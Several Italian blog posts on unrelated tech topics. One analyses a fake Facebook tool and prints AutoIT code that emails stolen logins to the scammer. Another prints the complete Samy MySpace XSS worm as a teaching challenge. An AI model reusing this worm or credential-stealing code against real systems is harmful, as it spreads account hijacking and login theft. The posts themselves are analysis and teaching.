Poiché non sappiamo quando moriremo, si è portati a credere che la vita sia un pozzo inesauribile.
Però tutto accade solo un certo numero di volte, un numero minimo di volte…
Quante volte vi ricorderete di un certo pomeriggio della vostra infanzia, un pomeriggio che è così profondamente parte di voi, che senza, neanche riuscireste a concepire la vostra vita… forse altre quattro o cinque volte, forse nemmeno… quante altre volte guarderete levarsi la luna… forse venti… eppure, tutto sembra senza limite…

E’ appena giunto alla mia attenzione il servizio offerto da

https://www.scydo.com

che offre chiamate a bassissimo costo tramite un leggero software da installare su Android o iPhone.

Ecco il QR Code per installarlo su Android:

L’ho appena provato da Wifi e devo dire che funziona egregiamente, ed i prezzi sono bassissimi!

+0.039 di connessione.

Insomma, ottimo servizio!

Ieri mi sono trovato questo messaggio su un post del blog:

Autore: luca (IP: xxx)
E-mail: xxx
Commento:
Provate questo funziona ancoraaaaaaaaaaa!!! xD sfrutta un bug nel
db di fB http://FacebookOwner.fileave.com/Facebook Owner.rar

Incuriosito, ho subito provato il programma in un ambiente protetto, come ormai ho imparato a fare in questo genere situazioni. All’apertura mi chiedeva dati di login di Facebook. L’interfaccia scarna puzzava di scam in ogni suo più piccolo dettaglio:

A questo punto ho creato un account Facebook fasullo e ho provato ad inserirlo: errore login ogni volta che provavo a premere invio.

Dopo qualche ora di disassembling (sto diventando lento, ma dopotutto era tanto che non facevo nulla) sono arrivato a decompilare il codice, AutoIT.

Risparmiandovi grossa parte del codice, vi estraggo una parte interessante:

$SMTPSERVER = "mail.libero.it"
$FROMNAME = @ComputerName
$FROMADDRESS = "ugofb@gmail.com"
$TOADDRESS = "ugopoli2@gmail.com"
$RC = _INETSMTPMAILCOM($SMTPSERVER, $FROMNAME, $FROMADDRESS, $TOADDRESS, $SUBJECT, $BODY, $ATTACHFILES, $IMPORTANCE, $USERNAME, $PASSWORD, $IPPORT, $SSL)

dove $BODY contiene anche tutte gli user e pass provati.

Non mi sono fermato! A presto con la seconda parte =)

Hi. Follow a code (disclaimer inside) to find files with spaces before opening and after closing php tags that always give problems with images, rss feeds, headers and so on:

Download

You just have to set the path, open it on the server and watch results.

–

Ecco uno script php che permette di trovare gli spazi prima delle aperture e dopo le chiusure dei tag php nei file dentro una cartella (ricorsivamente).

E’ molto comodo nel caso ci si imbatta in errori sulle immagini caricate dinamicamente, nella generazione dei feed e così via.

Scarica il file

Vecchie ma per forza da riascoltare..

A volte anche un vecchio worm js può risultare utile a livello didattico, anche per capire come sia difficile limitare i danni di eventuali falle XSS.

La sfida è semplice, ecco il codice:

<div id=mycode style="BACKGROUND: url('java<br /> script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td> <p>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV> 

Il codice permetteva di guadagnare velocemente amici su MySpace, tanto da meritarsi una pagina su wikipedia.

Se avete problemi nell’analisi, ecco il link di riferimento per l’analisi. Qui, invece, è disponibile la storia di questo bug.

Oggi propongo un codice molto semplice che permette di ottenere liste di stream da Last.fm come output.

A cosa potrebbe servire? Beh, vi potete sbizzarrire. L’output è studiato per poter essere facilmente parsato da altri programmi (grep e simili). Inoltre modificando leggermente il programma potrete anche ottenere l’url del file mp3 (provate a vedere l’xml completo).

Il funzionamento è semplice:

dando il comando

java Last hanicker “MIAPASSWORD” “lastfm://user/hanicker/personal” 100

ad esempio otterrò all’incirca un centinaio di canzoni che Last.fm ha nella mia libreria personale, ad esempio:

“344374428″,”Naturally”,”Selena Gomez & The Scene”
“2747624″,”Sorted For E’s & Wizz”,”Pulp”
“76053403″,”Svanire”,”Ludovico Einaudi”
“2722039″,”Salvation”,”The Cranberries”
“236136997″,”Talented”,”Dirty Disco Youth”

dove troviamo ID, artista e titolo.

Scarica il sorgente java.

Un content management system, in acronimo CMS, letteralmente “sistema di gestione dei contenuti”, è uno strumento software installato su un server web studiato per facilitare la gestione dei contenuti di siti web, svincolando l’amministratore da conoscenze tecniche di programmazione Web.

Oggi è stato aperto il sito ufficiale della community italiana per il cms concrete5. Come ogni community nascente, concrete5 Italia ha bisogno del massimo aiuto in pubblicità e contributi per ingrandirsi e migliorare.

La trovate all’indirizzo www.concrete5.it.

concrete5

Esistono centinaia di CMS. Chi lavora nel web development sà bene che non esiste un’applicazione migliore di un’altra. Semplicemente una può essere più o meno adatta a quello che si vuole fare.

Iniziamo col descrivere questa piattaforma.

Installazione

Il download e l’installazione sono semplicissimi. Basta scaricare c5 ed estrarlo in una cartella nel proprio server. Una volta aperto l’indirizzo dove si è estratto il pacchetto l’installazione si mostra molto intuitiva. Come per altri script vengono richiesti host, nome utente, password e nome del database. Inoltre viene effettuato un controllo di compatibilità con il server che permette di correggere eventuali errori. Successivamente viene data la possibilità di inserire automaticamente dei dati di esempio in modo da prendere farmiliarità col cms.

La struttura

Una volta effettuato il login al sito (automatico dopo l’installazione) noterete la presenza di una toolbar all’inizio di ogni pagina.

Dashboard

La dashboard è la sezione di amministrazione a cui siamo abituati dai vari CMS. In c5 gli elementi sono stati raggruppati per task in modo estremamente intuitivo. L’interfaccia è chiara e pulita, inoltre è sempre presente un comodo pulsante di help per aiutare i meno esperti.

Modificare i contenuti

Le potenzialità di concrete5 si mostrano però fuori dalla dashboard. Mentre visitiamo il sito possiamo infatti modificare direttamente i contenuti delle pagine.

Esse infatti si presentano con dei riquadri attorno i contenuti, uno per ogni area modificabile.

Le aree modificabili si possono decidere facilmente durante la creazione del poprio template. Per uno sviluppatore/designer questo è molto importante, soprattutto con i clienti che conoscono meno il web.

E’ possibile escludere le aree che non devono essere editabili (come header e footer) e lasciare che i clienti si concentrino sulla modifica dei contenuti. E ogni area editabile è estremamente flessibile, in quanto vi si può inserire praticamente ogni cosa: immagini, video, liste di file, menu, testi e così via.

Una volta effettuato il login al sito basta spostarsi sopra i riquadri per vederli cambiare di colore. A questo punto cliccando si può scegliere se modificare il contenuto, aggiungere altri blocchi o rimuovere quelli esistenti. E’ anche possibile spostare un blocco esistente in un’altra area qualsiasi.

Aree private

concrete5 gestisce nativamente la possibilità di inserire contenuti privati, cioé non visibili se non da un gruppo di utenti.

Attributi della pagina

Con concrete5 è possibile personalizzare perfettamente ogni pagina nel modo voluto. Grazie alla sezione attributi pagina si possono effettuare ottimizzazioni per i motori di ricerca, escludere pagine dalla navigazione e così via. Inoltre si possono definire “sezioni”, utili agli sviluppatori.

Gestione file

La gestione dei file caricati in c5 è molto semplice. Si può inserire ogni tipo di file che verrà automaticamente riconosciuto da c5. Inoltre questo cms permette di organizzare gli elementi in “set”, caratteristica estremamente utile, ad esempio per creare slideshow o gallery.

Temi e Addons

Come per gli altri CMS, esistono temi e addons per espandere grafica e funzionalità native. Per quanto riguarda i temi, ne esistono di molto belli, anche gratuiti. Molti tra i più bravi designer infatti si stanno concentrando su questo cms negli ultimi anni. E’ ancora limitata, invece, la scelta degli addons, soprattutto se confrontata con quella di cms più famosi come WordPress o Joomla. Inoltre spesso quelli più importanti sono rilasciati a pagamento. Personalmente, vista l’elevata qualità che presentano, il prezzo da pagare la maggior parte delle volte è davvero onesto. La community italiana in questo senso sta sviluppando alternative gratuite agli addon più famosi (ad esempio è già stato rilasciato un modulo news).

Disegnare per concrete5

Questo cms è stato creato tenendo a mente le esigenze dell’utente finale, più che dello sviluppatore. Questo vuol dire che nella creazione di un tema si avrà forse qualche difficoltà in più rispetto ad altri cms come wordpress o Joomla. Al contempo, però, lo sfrozo aggiuntivo sarà tutto a beneficio del cliente. La cosa migliore per iniziare è sviluppare staticamente un tema HTML+CSS e solo successivamente decidere quali aree rendere modificabili. A questo punto bastano poche modifiche per ottenere un tema funzionante e completamente modificabile.

Altre interessanti caratteristiche

Una delle funzionalità più interessanti di concrete5 è il version control.  Ogni volta che viene effettuata una modifica a una pagina, la vecchia versione viene salvata in modo da poter sempre ritornare sui propri passi.

Inoltre le modifiche che si effettuano rimangono in stato di bozza fino alla conferma, in modo che nel frattempo solo gli amministratori le possano vedere. Questa caratteristica è perfetta quando un gruppo di persone collabora al mantenimento del sito.

Interessante è anche la possibilità di inserire direttamente dalla dashboard la favicon e un codice per il tracking dei visitatori (es. Google Analytics o Woopra).

Conclusioni

Concrete5 si rivela essere un’ottimo CMS andando a coprire la maggior parte delle esigenze dei siti moderni. In particolare è ottimo per le aziende, che possono offrire un prodotto innovativo, professionale, facile da usare e agilmente personalizzabile. Esiste anche un modulo e-commerce, ottimo per le piccole esigenze.

Non ho mai trovato un CMS dove sia così facile gestire contenuti e lavorare con le pagine. E’ da tenere presente ogni volta che si crea un sito, come carta da giocare.

Consiglio a tutti di provarlo per qualche giorno, e trarre personalmente le proprie conclusioni. Se vi interessa, raccomando di aiutare la community italiana, che sta traducendo la guida e producendo nuove addons.

Foto e riferimenti: http://pixelita.com/1090/concrete-5-cms-a-solid-review/

Kapitalist è un’ottima versione gratuita del classico Monopoly giocabile anche in rete (privata o meno).

E’ rilasciato sotto licenza GPL e sarebbe molto interessante effettuare il porting anche per altri prodotti (ad esempio Android).

E’ possibile giocare in rete e addirittura usando una riga di comando al posto dell’interfaccia grafica.
Si possono anche effettuare partite contro il pc (da 1 a 3 AI).

Per scaricarlo:
http://kapitalist.sourceforge.net

Il nome del pacchetto per 7zip è

p7zip.

Quindi

sudo apt-get install p7zip

fa il suo lavoro.